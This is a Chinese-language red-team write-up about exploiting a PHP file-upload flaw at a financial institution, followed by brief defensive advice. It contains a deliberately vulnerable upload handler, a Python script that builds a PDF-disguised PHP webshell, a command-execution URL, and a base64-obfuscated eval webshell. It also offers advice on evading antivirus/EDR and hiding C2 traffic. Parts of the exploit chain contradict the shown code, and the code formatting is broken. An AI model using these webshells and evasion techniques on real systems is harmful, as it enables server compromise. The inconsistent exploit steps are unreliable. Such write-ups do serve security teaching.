0x01 渗透的起点：文件上传引发的风暴

在一次针对某金融机构的红队评估中，我发现了一个常见但依旧致命的攻击面：文件上传功能。经过对目标网站的初步侦查，我注意到其客户上传文档的功能可能存在验证不严的漏洞。文件上传漏洞常常是攻击者绕过服务器安全控制的便捷路径，尤其是在开发团队对上传文件类型和路径验证不充分的场景下。

目标系统的失误：该机构的网站允许用户上传PDF格式的文档，但上传功能并未严格校验文件的MIME类型和内容。利用这种疏忽，我得以上传一个伪装成PDF的WebShell，实现了对目标服务器的命令执行。

沙箱搭建与漏洞再现

为了复现此漏洞，我构建了一个模拟环境。首先，我搭建了一个简单的Web应用，该应用同样存在文件上传功能。

环境搭建步骤

黑客示意图

  1. 服务器设置：
  • 操作系统：Ubuntu Server 20.04
  • Web服务器：Apache2
  • 编程语言：PHP
  1. Web应用部署：
  • 创建一个简单的文件上传表单，并存储在Apache的可访问目录中。
  • 确保上传目录可写，但初始权限不宜过于宽松。
  1. 目录结构：

    2. <pre><code> /var/www/html/upload ├── index.php # 上传页面 └── uploads/ # 存储上传文件 `

漏洞复现代码

黑客示意图

以下是简化的文件上传处理逻辑，演示了如何在MIME类型检查上出现漏洞： </code></pre>php <?php if ($_SERVER['REQUEST_METHOD'] == 'POST') { $target_dir = "uploads/"; $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]); $uploadOk = 1; $fileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));

// 仅允许PDF文件 if ($fileType != "pdf") { echo "Sorry, only PDF files are allowed."; $uploadOk = 0; }

// 检查上传状态 if ($uploadOk == 1) { if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "The file has been uploaded."; } else { echo "Sorry, there was an error uploading your file."; } } } ?> <pre><code> 该代码的问题在于仅通过文件扩展名检查文件类型，而非使用MIME类型进行验证。

利用艺术：构造恶意Payload

为了利用这个漏洞，我将创建一个恶意Payload，它看似是一个PDF文件，但实际上是一个PHP WebShell。具体过程如下：

Payload 准备

我使用Python快速生成一个伪装的PDF文件，并在其末尾附加PHP代码： </code></pre>python

伪装PDF文件生成脚本

pdf_magic = b'%PDF-1.4\n%' php_payload = b'<?php system($_GET["cmd"]); ?>'

with open('malicious.pdf', 'wb') as f: f.write(pdf_magic) f.write(b'\n') f.write(php_payload) <pre><code> 攻击思路：将生成的malicious.pdf上传至目标站点的上传目录中，然后通过浏览器直接访问并传输命令参数实现远程代码执行。

漏洞利用过程

  1. 通过上传功能，上传malicious.pdf。
  2. 确认文件成功上传至uploads/目录。

访问路径示例：</code></pre> http://target.com/uploads/malicious.pdf?cmd=ls <pre><code> 通过传输cmd参数执行服务器上的命令，验证是否成功获取命令执行权限。

规避与反检测技术

为了绕过潜在的防御机制，我使用以下策略：

免杀技巧

  1. 文件命名伪装：将PHP扩展名隐藏在合法文件名中，如 invoice.pdf.php。
  2. 内容混淆：使用Base64对部分Payload内容进行编码，在服务器端解码执行。

    3. </code></pre>php <?php eval(base64_decode('c3lzdGVtKCRfR0VUW2NtZF0pOw==')); ?> `

  1. 流量伪装：通过HTTPS传输Payload，避免被简单的流量检测工具发现。

黑客示意图

对抗EDR/AV

对于高级防御系统，进一步的免杀和对抗策略包括：

  • 随机插入无用字符或命令，扰乱静态分析。
  • 在Payload中加入合法代码片段，混淆恶意逻辑。
  • 使用加密通信，确保C2流量不被轻易检测。

防范措施与检测建议

为了防止文件上传漏洞的利用，开发和运维团队应该采取以下措施：

安全检查与补丁

  1. MIME类型验证：在后端严格验证上传文件的MIME类型，而非仅凭扩展名。
  2. 文件类型白名单：仅允许特定安全文件类型上传，例如通过库fileinfo来读取MIME信息。
  3. 使用沙箱：在隔离环境中执行文件解析，防止直接对服务器造成影响。
  4. 路径限制：使用诸如open_basedir等配置限制文件访问路径。

日志与监控

  • 实时监控上传目录，检测异常文件扩展名和不合预期的文件访问行为。
  • 使用入侵检测系统（IDS）及时发现和拦截恶意流量。

攻击者的思考

在本次渗透中，文件上传功能的失误为攻击者提供了进入系统的快捷通道。尽管漏洞看似简单，但其潜在的破坏力不可小觑。结合免杀技术，我们可以在目标系统内持久驻留，甚至进一步扩展攻击范围。

最重要的是，安全防护需要从开发阶段入手，通过严格的代码审查和安全测试来堵住这些显而易见的漏洞。此外，实时的漏洞监测和响应机制才是确保系统安全的最后一道防线。

本文仅用于授权安全测试和安全研究学习，任何未经授权的攻击行为将被视为违法。